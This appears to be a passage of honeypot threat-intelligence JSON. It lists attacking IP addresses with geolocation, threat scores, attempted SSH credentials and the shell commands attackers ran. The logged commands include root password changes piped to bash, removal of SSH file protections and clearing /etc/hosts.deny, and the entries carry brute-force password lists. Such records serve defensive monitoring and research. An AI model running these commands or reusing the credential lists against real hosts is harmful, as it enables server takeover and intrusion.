      "country_code": "CA",
      "city": "North York",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:11:13.155000+00:00",
        "last_seen_30d": "2026-05-11T03:12:31.543000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.2.234.127": {
      "attack_count": 2,
      "first_seen": "2026-05-09T15:28:07.035Z",
      "last_seen": "2026-05-09T15:28:18.896Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Bexleyheath",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T15:28:07.035000+00:00",
        "last_seen_30d": "2026-05-09T15:29:27.089000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "90.9.164.143": {
      "attack_count": 2,
      "first_seen": "2026-05-13T21:59:32.539Z",
      "last_seen": "2026-05-13T22:01:32.540Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Beslon",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:59:32.539000+00:00",
        "last_seen_30d": "2026-05-13T22:12:26.063000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.80.152.153": {
      "attack_count": 2,
      "first_seen": "2026-05-19T13:46:02.968Z",
      "last_seen": "2026-05-19T13:46:18.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "San Giustino Valdarno",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T13:46:02.968000+00:00",
        "last_seen_30d": "2026-05-19T13:47:25.465000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.83.240.70": {
      "attack_count": 992,
      "first_seen": "2026-05-03T15:54:47.898Z",
      "last_seen": "2026-05-29T03:24:57.955Z",
      "sessions": 189,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: python-requests/2.27.1",
        "Accept: */*",
        "GET // HTTP/1.1",
        "Connection: keep-alive",
        "GET /_asterisk/graph.php HTTP/1.1",
        "GET /_asterisk/phpversions.php HTTP/1.1",
        "GET /assets/phpversions.php HTTP/1.1",
        "GET /phpversions.php HTTP/1.1",
        "GET /recordings/misc/phpversions.php HTTP/1.1",
        "GET / HTTP/1.1",
        "GET /vtigercrm/phpversions.php HTTP/1.1",
        "GET /admin/views/phpversions.php HTTP/1.1",
        "GET /assets/graph.php HTTP/1.1",
        "GET /graph.php HTTP/1.1",
        "GET /recordings/misc/graph.php HTTP/1.1",
        "GET /vtigercrm/graph.php HTTP/1.1",
        "GET /admin/assets/js/views/login.js HTTP/1.1",
        "GET /admin/views/config.php HTTP/1.1",
        "GET //admin/config.php HTTP/1.1",
        "GET //remote/login?lang=en HTTP/1.1"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "Accept-Encoding: gzip, deflate",
        "Connection: keep-alive",
        "User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.119.1.el7.x86_64"
      ],
      "commands_executed": [
        "Accept: */*",
        "Connection: keep-alive",
        "",
        "Accept-Encoding: gzip, deflate",
        "User-Agent: python-requests/2.27.1",
        "User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.119.1.el7.x86_64"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 99.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 749471,
        "days_active_30d": 29,
        "ports_targeted_30d": 1910,
        "honeypots_triggered_30d": 17,
        "first_seen_30d": "2026-05-03T15:26:18.653000+00:00",
        "last_seen_30d": "2026-05-31T06:46:01.819000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 509229,
        "Honeytrap": 233322,
        "Mailoney": 1183,
        "Cowrie": 992,
        "ConPot": 978,
        "Dionaea": 823,
        "Redishoneypot": 716,
        "Miniprint": 608,
        "Adbhoney": 382,
        "Dicompot": 308,
        "H0neytr4p": 258,
        "Ipphoney": 234,
        "Tanner": 184,
        "ElasticPot": 183,
        "Honeyaml": 54,
        "Sentrypeer": 9,
        "CitrixHoneypot": 8
      }
    },
    "167.172.133.85": {
      "attack_count": 729,
      "first_seen": "2026-05-20T16:19:06.113Z",
      "last_seen": "2026-05-27T19:05:17.402Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "hoa",
        "osm",
        "steven",
        "test1",
        "zhang",
        "adm",
        "admin",
        "cloud",
        "curl",
        "db2",
        "dev",
        "es",
        "game",
        "hayashi",
        "jia",
        "kazuki",
        "kobayashi"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx#EDC",
        "0000",
        "1",
        "100000000",
        "12345678",
        "123456789",
        "19951995",
        "300001",
        "4rfv%TGB",
        "Aa@123456789",
        "Admin4321",
        "Cy123456",
        "Hn123456",
        "P@ss2024",
        "P@ssw0rd",
        "P@ssw0rdSISCART",
        "Wangsu@2017"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456789\\nzrcwoniYXIpA\\nzrcwoniYXIpA\\n\"|passwd",
        "echo \"Aa@123456789\\nIJgpFKMZ3FLt\\nIJgpFKMZ3FLt\\n\"|passwd",
        "echo \"hoa\\nOeYz4Glt8JI3\\nOeYz4Glt8JI3\\n\"|passwd",
        "echo \"osm\\n5mc311N4WOvo\\n5mc311N4WOvo\\n\"|passwd",
        "echo \"root:KQwZEF2nADyB\"|chpasswd|bash",
        "echo \"steven123\\nW8mmuDLZT4WN\\nW8mmuDLZT4WN\\n\"|passwd",
        "echo \"zhang\\nHtzo81kaZET0\\nHtzo81kaZET0\\n\"|passwd",
        "echo -e \"123456789\\nzrcwoniYXIpA\\nzrcwoniYXIpA\"|passwd|bash",
        "echo -e \"Aa@123456789\\nIJgpFKMZ3FLt\\nIJgpFKMZ3FLt\"|passwd|bash",
        "echo -e \"hoa\\nOeYz4Glt8JI3\\nOeYz4Glt8JI3\"|passwd|bash",
        "echo -e \"osm\\n5mc311N4WOvo\\n5mc311N4WOvo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 41.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.4,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 877,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:19:06.113000+00:00",
        "last_seen_30d": "2026-05-27T19:06:25.105000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 729,
        "Suricata": 148
      }
    },
    "154.221.17.137": {
      "attack_count": 640,
      "first_seen": "2026-05-20T03:56:17.654Z",
      "last_seen": "2026-05-31T10:34:13.940Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "john",
        "admin",
        "ehsan",
        "ftpuser",
        "gateway",
        "hadoop",
        "jirka",
        "mathias",
        "postgres",
        "runner",
        "sg",
        "testadmin",
        "user",
        "wordpress",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123456@Abc",
        "123456Aa!",
        "123456Lh",
        "1Qazxsw2",
        "1qwaszx",
        "2054",
        "94",
        "999999",
        "Abc123456!",
        "Abcd,1234",
        "Admin123",
        "Server2025@",
        "Zhang@123",
        "aa1234",
        "anubis",
        "areias"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nQ10iPliGuXYD\\nQ10iPliGuXYD\\n\"|passwd",
        "echo \"claude\\netZvFkisBcPi\\netZvFkisBcPi\\n\"|passwd",
        "echo \"root:50gQyqyXtUSk\"|chpasswd|bash",
        "echo \"root:66zm3JZBpyq6\"|chpasswd|bash",
        "echo \"root:FSxfbpQQOiVr\"|chpasswd|bash",
        "echo \"root:jE3EWYsGn4YF\"|chpasswd|bash",
        "echo -e \"1234\\nQ10iPliGuXYD\\nQ10iPliGuXYD\"|passwd|bash",
        "echo -e \"claude\\netZvFkisBcPi\\netZvFkisBcPi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 50.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 771,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:56:17.654000+00:00",
        "last_seen_30d": "2026-05-31T10:35:20.945000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 640,
        "Suricata": 131
      }
    },
    "172.172.196.177": {
      "attack_count": 598,
      "first_seen": "2026-05-10T09:37:22.417Z",
      "last_seen": "2026-05-19T08:09:42.618Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "user",
        "sftp",
        "test",
        "user15",
        "Ubuntu",
        "alex",
        "bakuser",
        "bassuser",
        "bitrix",
        "claude",
        "deploy",
        "developer",
        "es",
        "mcserver",
        "oracle",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123321",
        "123456",
        "12345678",
        "123456ll",
        "1234qwer",
        "123abc",
        "123qweasd",
        "1qa2ws",
        "234",
        "Ab123456",
        "CHINAIDC",
        "Debian@2022",
        "P455wOrd",
        "Ubuntu123",
        "ZAQ!2wsx",
        "admin#",
        "admin000",
        "admin1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1qa2ws\\n3yenenhm5mrC\\n3yenenhm5mrC\\n\"|passwd",
        "echo \"root:HvEKq3yDenHU\"|chpasswd|bash",
        "echo \"root:tZ2V2lirCEUK\"|chpasswd|bash",
        "echo \"sftppass\\nTFnVOCsRQOtE\\nTFnVOCsRQOtE\\n\"|passwd",
        "echo \"user15\\nqQXaIYakEcB3\\nqQXaIYakEcB3\\n\"|passwd",
        "echo -e \"1qa2ws\\n3yenenhm5mrC\\n3yenenhm5mrC\"|passwd|bash",
        "echo -e \"sftppass\\nTFnVOCsRQOtE\\nTFnVOCsRQOtE\"|passwd|bash",
        "echo -e \"user15\\nqQXaIYakEcB3\\nqQXaIYakEcB3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 732,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T09:37:22.417000+00:00",
        "last_seen_30d": "2026-05-19T08:10:52.385000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 598,
        "Suricata": 134
      }
    },
    "58.47.17.228": {
      "attack_count": 452,
      "first_seen": "2026-05-19T18:05:34.421Z",
      "last_seen": "2026-05-20T16:16:56.846Z",
      "sessions": 226,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 694,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:05:34.421000+00:00",
        "last_seen_30d": "2026-05-20T16:17:59.571000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 452,
        "Suricata": 242
      }
    },
    "41.60.251.229": {
      "attack_count": 436,
      "first_seen": "2026-05-19T19:25:38.726Z",
      "last_seen": "2026-05-20T18:00:26.176Z",
      "sessions": 218,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 657,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:25:38.726000+00:00",
        "last_seen_30d": "2026-05-20T18:01:31.645000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 436,
        "Suricata": 221
      }
    },
    "103.154.77.48": {
      "attack_count": 377,
      "first_seen": "2026-05-19T20:48:21.863Z",
      "last_seen": "2026-05-19T21:20:07.073Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2099",
        "909090",
        "Aa123456!",
        "Admin+123",
        "anand123",
        "claude",
        "eagle",
        "jake",
        "mcintosh",
        "mec",
        "mihai2011",
        "moebius",
        "motorola123",
        "nirvana",
        "p@ssword",
        "pipi",
        "root.2023",
        "sun123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6BDr6VIg6hbl\"|chpasswd|bash",
        "echo \"root:KKK1y4VlX6ey\"|chpasswd|bash",
        "echo \"root:XNQTQj6oYcbM\"|chpasswd|bash",
        "echo \"root:qkaLpXxcW9WH\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Sleman",
      "asn": 140481,
      "as_org": "PT Tonggak Teknologi Netikom",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 441,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:48:21.863000+00:00",
        "last_seen_30d": "2026-05-19T21:21:11.733000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 377,
        "Suricata": 64
      }
    },
    "43.153.70.163": {
      "attack_count": 304,
      "first_seen": "2026-05-18T04:31:29.485Z",
      "last_seen": "2026-05-18T04:54:39.927Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!^)$!(*&",
        "2016",
        "991992",
        "Aa98637381",
        "Anna",
        "Welcome@2019",
        "aa",
        "adminimda",
        "audrey123",
        "blahblah2",
        "foo123",
        "house",
        "ionyszaa",
        "leonie",
        "megha",
        "qd123",
        "qwe@123",
        "weaver"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0sw981DMFmeo\"|chpasswd|bash",
        "echo \"root:NFE9KuBSZAQE\"|chpasswd|bash",
        "echo \"root:ady8Tg08sP3T\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T04:31:29.485000+00:00",
        "last_seen_30d": "2026-05-18T04:55:40.666000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 57
      }
    },
    "191.101.59.107": {
      "attack_count": 278,
      "first_seen": "2026-05-11T09:58:09.196Z",
      "last_seen": "2026-05-11T13:08:48.450Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "user",
        "test",
        "345gs5662d34",
        "admin",
        "postgres",
        "root",
        "test1",
        "user1",
        "daniel",
        "deployhq",
        "ftpadmin",
        "newuser",
        "rustserver",
        "sftp",
        "steam",
        "ts3",
        "useradmin"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX3edc",
        "1",
        "123456",
        "123@.com",
        "1qaz2wsx",
        "Abc123",
        "P@ssw0rd",
        "Server@123",
        "Test123",
        "admin123",
        "admin123$",
        "deployhq",
        "geoserver",
        "passwd",
        "password123",
        "pcadmin",
        "qwe123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\njK8X7szYWafy\\njK8X7szYWafy\\n\"|passwd",
        "echo \"1qaz2wsx\\naJbddGtNSHbc\\naJbddGtNSHbc\\n\"|passwd",
        "echo -e \"1234\\njK8X7szYWafy\\njK8X7szYWafy\"|passwd|bash",
        "echo -e \"1qaz2wsx\\naJbddGtNSHbc\\naJbddGtNSHbc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 348,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:58:09.196000+00:00",
        "last_seen_30d": "2026-05-11T13:09:58.565000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 278,
        "Suricata": 70
      }
    },
    "114.227.242.253": {
      "attack_count": 264,
      "first_seen": "2026-05-19T06:50:44.845Z",
      "last_seen": "2026-05-19T17:59:42.844Z",
      "sessions": 132,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 416,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:50:44.845000+00:00",
        "last_seen_30d": "2026-05-19T18:00:50.337000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 264,
        "Suricata": 152
      }
    },
    "156.227.232.198": {
      "attack_count": 219,
      "first_seen": "2026-05-10T07:35:43.021Z",
      "last_seen": "2026-05-10T08:02:21.715Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "ftpuser",
        "root",
        "smbuser",
        "test",
        "tester",
        "345gs5662d34",
        "admin123",
        "kafka",
        "oracle",
        "postgres",
        "server1",
        "test1",
        "usertest",
        "vuser"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "123123",
        "12340",
        "123456",
        "1234567a",
        "1q2w3e4r.",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123456",
        "PASS",
        "Password1",
        "Welcome123$%^",
        "abcd1234",
        "admin123",
        "admin1234",
        "admin2021",
        "adminonline",
        "bill",
        "dev12345678"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nxDvWwOsQPWcd\\nxDvWwOsQPWcd\\n\"|passwd",
        "echo -e \"123\\nxDvWwOsQPWcd\\nxDvWwOsQPWcd\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
